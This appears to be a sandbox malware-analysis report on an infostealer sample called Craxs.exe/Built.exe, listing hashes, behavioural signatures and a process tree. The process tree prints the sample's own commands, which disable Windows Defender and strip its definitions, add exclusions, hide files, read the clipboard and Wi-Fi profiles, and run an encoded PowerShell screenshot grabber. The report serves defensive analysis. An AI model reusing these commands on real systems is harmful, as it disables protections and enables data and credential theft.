Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
93s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
12/12/2024, 02:05
Behavioral task
behavioral1
Sample
Craxs.exe/Built.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Craxs.exe/Built.exe
Resource
win10v2004-20241007-en
General
-
Target
Craxs.exe/Built.exe
-
Size
5.8MB
-
MD5
eafb71b1f8ff22f4b88c677c17a4159a
-
SHA1
e3fb7830e0ed8054c790679454f582248c373b51
-
SHA256
6bed48fba23d3fbb1cc02a1225abd44fa6d5d85a1f7b12768088fcfb5352ceed
-
SHA512
c530202f3393f051c11e379863a996bede0b27ae432ade1c87625d2a9b104c9cf8322d62fab64a41987c5f6f8646d1f1023b07a745ea982289df43040221882e
-
SSDEEP
98304:2nzmDSr7xRHtJQi9UWvGfqD8WOxfmjaa15uXaDvdCK/blzFS03iw7FwXR6nret+1:2nzmD6xRHvUWvozWOxu9kXwvdbDlA03n
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2104 powershell.exe 5084 powershell.exe 3344 powershell.exe 4944 powershell.exe 3700 powershell.exe -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts Built.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 4284 cmd.exe 3312 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 5052 rar.exe -
Loads dropped DLL 16 IoCs
pid Process 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe 4172 Built.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 43 discord.com 44 discord.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 14 ip-api.com 23 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 5 IoCs
pid Process 4896 tasklist.exe 2324 tasklist.exe 4144 tasklist.exe 2524 tasklist.exe 2820 tasklist.exe -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 1124 cmd.exe -
resource yara_rule behavioral2/files/0x0007000000023cd7-21.dat upx behavioral2/memory/4172-25-0x00007FF888370000-0x00007FF8887DA000-memory.dmp upx behavioral2/files/0x0007000000023cca-27.dat upx behavioral2/files/0x0007000000023cd5-29.dat upx behavioral2/memory/4172-31-0x00007FF897D90000-0x00007FF897DB4000-memory.dmp upx behavioral2/files/0x0007000000023cd1-48.dat upx behavioral2/files/0x0007000000023cd0-47.dat upx behavioral2/files/0x0007000000023ccf-46.dat upx behavioral2/files/0x0007000000023cce-45.dat upx behavioral2/files/0x0007000000023ccd-44.dat upx behavioral2/files/0x0007000000023ccc-43.dat upx behavioral2/files/0x0007000000023ccb-42.dat upx behavioral2/files/0x0007000000023cc9-41.dat upx behavioral2/files/0x0007000000023cdc-40.dat upx behavioral2/files/0x0007000000023cdb-39.dat upx behavioral2/files/0x0007000000023cda-38.dat upx behavioral2/files/0x0007000000023cd6-35.dat upx behavioral2/files/0x0007000000023cd4-34.dat upx behavioral2/memory/4172-32-0x00007FF8A01D0000-0x00007FF8A01DF000-memory.dmp upx behavioral2/memory/4172-54-0x00007FF8979D0000-0x00007FF8979FC000-memory.dmp upx behavioral2/memory/4172-56-0x00007FF898140000-0x00007FF898159000-memory.dmp upx behavioral2/memory/4172-58-0x00007FF895700000-0x00007FF89571E000-memory.dmp upx behavioral2/memory/4172-60-0x00007FF887CE0000-0x00007FF887E4D000-memory.dmp upx behavioral2/memory/4172-64-0x00007FF89D710000-0x00007FF89D71D000-memory.dmp upx behavioral2/memory/4172-63-0x00007FF8956E0000-0x00007FF8956F9000-memory.dmp upx behavioral2/memory/4172-66-0x00007FF897510000-0x00007FF89753E000-memory.dmp upx behavioral2/memory/4172-70-0x00007FF897D90000-0x00007FF897DB4000-memory.dmp upx behavioral2/memory/4172-72-0x00007FF8882B0000-0x00007FF888366000-memory.dmp upx behavioral2/memory/4172-71-0x00007FF887890000-0x00007FF887C04000-memory.dmp upx behavioral2/memory/4172-69-0x00007FF888370000-0x00007FF8887DA000-memory.dmp upx behavioral2/memory/4172-74-0x00007FF8974F0000-0x00007FF897505000-memory.dmp upx behavioral2/memory/4172-76-0x00007FF89D700000-0x00007FF89D70D000-memory.dmp upx behavioral2/memory/4172-78-0x00007FF888190000-0x00007FF8882A8000-memory.dmp upx behavioral2/memory/4172-79-0x00007FF895700000-0x00007FF89571E000-memory.dmp upx behavioral2/memory/4172-81-0x00007FF887CE0000-0x00007FF887E4D000-memory.dmp upx behavioral2/memory/4172-84-0x00007FF8956E0000-0x00007FF8956F9000-memory.dmp upx behavioral2/memory/4172-112-0x00007FF897510000-0x00007FF89753E000-memory.dmp upx behavioral2/memory/4172-192-0x00007FF8882B0000-0x00007FF888366000-memory.dmp upx behavioral2/memory/4172-191-0x00007FF887890000-0x00007FF887C04000-memory.dmp upx behavioral2/memory/4172-311-0x00007FF888190000-0x00007FF8882A8000-memory.dmp upx behavioral2/memory/4172-323-0x00007FF887890000-0x00007FF887C04000-memory.dmp upx behavioral2/memory/4172-324-0x00007FF8882B0000-0x00007FF888366000-memory.dmp upx behavioral2/memory/4172-322-0x00007FF897510000-0x00007FF89753E000-memory.dmp upx behavioral2/memory/4172-319-0x00007FF887CE0000-0x00007FF887E4D000-memory.dmp upx behavioral2/memory/4172-314-0x00007FF897D90000-0x00007FF897DB4000-memory.dmp upx behavioral2/memory/4172-313-0x00007FF888370000-0x00007FF8887DA000-memory.dmp upx behavioral2/memory/4172-318-0x00007FF895700000-0x00007FF89571E000-memory.dmp upx behavioral2/memory/4172-348-0x00007FF888370000-0x00007FF8887DA000-memory.dmp upx behavioral2/memory/4172-423-0x00007FF888370000-0x00007FF8887DA000-memory.dmp upx behavioral2/memory/4172-424-0x00007FF8A01D0000-0x00007FF8A01DF000-memory.dmp upx behavioral2/memory/4172-431-0x00007FF89D710000-0x00007FF89D71D000-memory.dmp upx behavioral2/memory/4172-437-0x00007FF887CE0000-0x00007FF887E4D000-memory.dmp upx behavioral2/memory/4172-436-0x00007FF888190000-0x00007FF8882A8000-memory.dmp upx behavioral2/memory/4172-435-0x00007FF89D700000-0x00007FF89D70D000-memory.dmp upx behavioral2/memory/4172-434-0x00007FF8974F0000-0x00007FF897505000-memory.dmp upx behavioral2/memory/4172-433-0x00007FF8882B0000-0x00007FF888366000-memory.dmp upx behavioral2/memory/4172-432-0x00007FF887890000-0x00007FF887C04000-memory.dmp upx behavioral2/memory/4172-430-0x00007FF8956E0000-0x00007FF8956F9000-memory.dmp upx behavioral2/memory/4172-429-0x00007FF897510000-0x00007FF89753E000-memory.dmp upx behavioral2/memory/4172-428-0x00007FF895700000-0x00007FF89571E000-memory.dmp upx behavioral2/memory/4172-427-0x00007FF898140000-0x00007FF898159000-memory.dmp upx behavioral2/memory/4172-426-0x00007FF8979D0000-0x00007FF8979FC000-memory.dmp upx behavioral2/memory/4172-425-0x00007FF897D90000-0x00007FF897DB4000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 3232 PING.EXE 1084 cmd.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 1252 cmd.exe 2244 netsh.exe -
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 5108 WMIC.exe 1236 WMIC.exe 1772 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 384 systeminfo.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3232 PING.EXE -
Suspicious behavior: EnumeratesProcesses 20 IoCs
pid Process 2104 powershell.exe 3344 powershell.exe 2104 powershell.exe 3344 powershell.exe 5084 powershell.exe 5084 powershell.exe 4704 powershell.exe 4704 powershell.exe 3312 powershell.exe 3312 powershell.exe 4704 powershell.exe 3312 powershell.exe 4944 powershell.exe 4944 powershell.exe 3376 powershell.exe 3376 powershell.exe 3700 powershell.exe 3700 powershell.exe 352 powershell.exe 352 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1008 WMIC.exe Token: SeSecurityPrivilege 1008 WMIC.exe Token: SeTakeOwnershipPrivilege 1008 WMIC.exe Token: SeLoadDriverPrivilege 1008 WMIC.exe Token: SeSystemProfilePrivilege 1008 WMIC.exe Token: SeSystemtimePrivilege 1008 WMIC.exe Token: SeProfSingleProcessPrivilege 1008 WMIC.exe Token: SeIncBasePriorityPrivilege 1008 WMIC.exe Token: SeCreatePagefilePrivilege 1008 WMIC.exe Token: SeBackupPrivilege 1008 WMIC.exe Token: SeRestorePrivilege 1008 WMIC.exe Token: SeShutdownPrivilege 1008 WMIC.exe Token: SeDebugPrivilege 1008 WMIC.exe Token: SeSystemEnvironmentPrivilege 1008 WMIC.exe Token: SeRemoteShutdownPrivilege 1008 WMIC.exe Token: SeUndockPrivilege 1008 WMIC.exe Token: SeManageVolumePrivilege 1008 WMIC.exe Token: 33 1008 WMIC.exe Token: 34 1008 WMIC.exe Token: 35 1008 WMIC.exe Token: 36 1008 WMIC.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeDebugPrivilege 4896 tasklist.exe Token: SeDebugPrivilege 3344 powershell.exe Token: SeIncreaseQuotaPrivilege 1008 WMIC.exe Token: SeSecurityPrivilege 1008 WMIC.exe Token: SeTakeOwnershipPrivilege 1008 WMIC.exe Token: SeLoadDriverPrivilege 1008 WMIC.exe Token: SeSystemProfilePrivilege 1008 WMIC.exe Token: SeSystemtimePrivilege 1008 WMIC.exe Token: SeProfSingleProcessPrivilege 1008 WMIC.exe Token: SeIncBasePriorityPrivilege 1008 WMIC.exe Token: SeCreatePagefilePrivilege 1008 WMIC.exe Token: SeBackupPrivilege 1008 WMIC.exe Token: SeRestorePrivilege 1008 WMIC.exe Token: SeShutdownPrivilege 1008 WMIC.exe Token: SeDebugPrivilege 1008 WMIC.exe Token: SeSystemEnvironmentPrivilege 1008 WMIC.exe Token: SeRemoteShutdownPrivilege 1008 WMIC.exe Token: SeUndockPrivilege 1008 WMIC.exe Token: SeManageVolumePrivilege 1008 WMIC.exe Token: 33 1008 WMIC.exe Token: 34 1008 WMIC.exe Token: 35 1008 WMIC.exe Token: 36 1008 WMIC.exe Token: SeIncreaseQuotaPrivilege 1236 WMIC.exe Token: SeSecurityPrivilege 1236 WMIC.exe Token: SeTakeOwnershipPrivilege 1236 WMIC.exe Token: SeLoadDriverPrivilege 1236 WMIC.exe Token: SeSystemProfilePrivilege 1236 WMIC.exe Token: SeSystemtimePrivilege 1236 WMIC.exe Token: SeProfSingleProcessPrivilege 1236 WMIC.exe Token: SeIncBasePriorityPrivilege 1236 WMIC.exe Token: SeCreatePagefilePrivilege 1236 WMIC.exe Token: SeBackupPrivilege 1236 WMIC.exe Token: SeRestorePrivilege 1236 WMIC.exe Token: SeShutdownPrivilege 1236 WMIC.exe Token: SeDebugPrivilege 1236 WMIC.exe Token: SeSystemEnvironmentPrivilege 1236 WMIC.exe Token: SeRemoteShutdownPrivilege 1236 WMIC.exe Token: SeUndockPrivilege 1236 WMIC.exe Token: SeManageVolumePrivilege 1236 WMIC.exe Token: 33 1236 WMIC.exe Token: 34 1236 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 536 wrote to memory of 4172 536 Built.exe 83 PID 536 wrote to memory of 4172 536 Built.exe 83 PID 4172 wrote to memory of 4704 4172 Built.exe 84 PID 4172 wrote to memory of 4704 4172 Built.exe 84 PID 4172 wrote to memory of 740 4172 Built.exe 85 PID 4172 wrote to memory of 740 4172 Built.exe 85 PID 4172 wrote to memory of 4084 4172 Built.exe 88 PID 4172 wrote to memory of 4084 4172 Built.exe 88 PID 4172 wrote to memory of 3244 4172 Built.exe 90 PID 4172 wrote to memory of 3244 4172 Built.exe 90 PID 4704 wrote to memory of 2104 4704 cmd.exe 92 PID 4704 wrote to memory of 2104 4704 cmd.exe 92 PID 3244 wrote to memory of 1008 3244 cmd.exe 93 PID 3244 wrote to memory of 1008 3244 cmd.exe 93 PID 4084 wrote to memory of 4896 4084 cmd.exe 94 PID 4084 wrote to memory of 4896 4084 cmd.exe 94 PID 740 wrote to memory of 3344 740 cmd.exe 95 PID 740 wrote to memory of 3344 740 cmd.exe 95 PID 4172 wrote to memory of 852 4172 Built.exe 97 PID 4172 wrote to memory of 852 4172 Built.exe 97 PID 852 wrote to memory of 4440 852 cmd.exe 99 PID 852 wrote to memory of 4440 852 cmd.exe 99 PID 4172 wrote to memory of 3788 4172 Built.exe 100 PID 4172 wrote to memory of 3788 4172 Built.exe 100 PID 3788 wrote to memory of 2348 3788 cmd.exe 102 PID 3788 wrote to memory of 2348 3788 cmd.exe 102 PID 4172 wrote to memory of 4608 4172 Built.exe 103 PID 4172 wrote to memory of 4608 4172 Built.exe 103 PID 4608 wrote to memory of 1236 4608 cmd.exe 105 PID 4608 wrote to memory of 1236 4608 cmd.exe 105 PID 4172 wrote to memory of 1536 4172 Built.exe 150 PID 4172 wrote to memory of 1536 4172 Built.exe 150 PID 1536 wrote to memory of 1772 1536 cmd.exe 108 PID 1536 wrote to memory of 1772 1536 cmd.exe 108 PID 4172 wrote to memory of 1124 4172 Built.exe 109 PID 4172 wrote to memory of 1124 4172 Built.exe 109 PID 4172 wrote to memory of 3748 4172 Built.exe 110 PID 4172 wrote to memory of 3748 4172 Built.exe 110 PID 3748 wrote to memory of 5084 3748 cmd.exe 113 PID 3748 wrote to memory of 5084 3748 cmd.exe 113 PID 1124 wrote to memory of 3116 1124 cmd.exe 114 PID 1124 wrote to memory of 3116 1124 cmd.exe 114 PID 4172 wrote to memory of 760 4172 Built.exe 115 PID 4172 wrote to memory of 760 4172 Built.exe 115 PID 4172 wrote to memory of 4356 4172 Built.exe 116 PID 4172 wrote to memory of 4356 4172 Built.exe 116 PID 4172 wrote to memory of 3368 4172 Built.exe 119 PID 4172 wrote to memory of 3368 4172 Built.exe 119 PID 4172 wrote to memory of 4284 4172 Built.exe 120 PID 4172 wrote to memory of 4284 4172 Built.exe 120 PID 4172 wrote to memory of 4300 4172 Built.exe 121 PID 4172 wrote to memory of 4300 4172 Built.exe 121 PID 4172 wrote to memory of 4584 4172 Built.exe 122 PID 4172 wrote to memory of 4584 4172 Built.exe 122 PID 4172 wrote to memory of 1252 4172 Built.exe 123 PID 4172 wrote to memory of 1252 4172 Built.exe 123 PID 4172 wrote to memory of 1164 4172 Built.exe 125 PID 4172 wrote to memory of 1164 4172 Built.exe 125 PID 4172 wrote to memory of 2552 4172 Built.exe 126 PID 4172 wrote to memory of 2552 4172 Built.exe 126 PID 4172 wrote to memory of 3428 4172 Built.exe 124 PID 4172 wrote to memory of 3428 4172 Built.exe 124 PID 760 wrote to memory of 4144 760 cmd.exe 127 PID 760 wrote to memory of 4144 760 cmd.exe 127 -
Views/modifies file attributes 1 TTPs 3 IoCs
pid Process 3116 attrib.exe 1536 attrib.exe 2276 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe"C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:536 -
C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe"C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe"2⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4172 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:4704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2104
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3344
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4896
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
PID:3244 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1008
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"3⤵
- Suspicious use of WriteProcessMemory
PID:852 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 24⤵PID:4440
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"3⤵
- Suspicious use of WriteProcessMemory
PID:3788 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 24⤵PID:2348
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:1236
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
PID:1772
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe""3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe"4⤵
- Views/modifies file attributes
PID:3116
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5084
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:4144
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵PID:4356
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:2324
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵PID:3368
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵PID:3724
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
PID:4284 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
PID:3312
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵PID:4300
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:2524
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:4584
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:1440
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
PID:1252 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:2244
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵PID:3428
-
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:384
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsA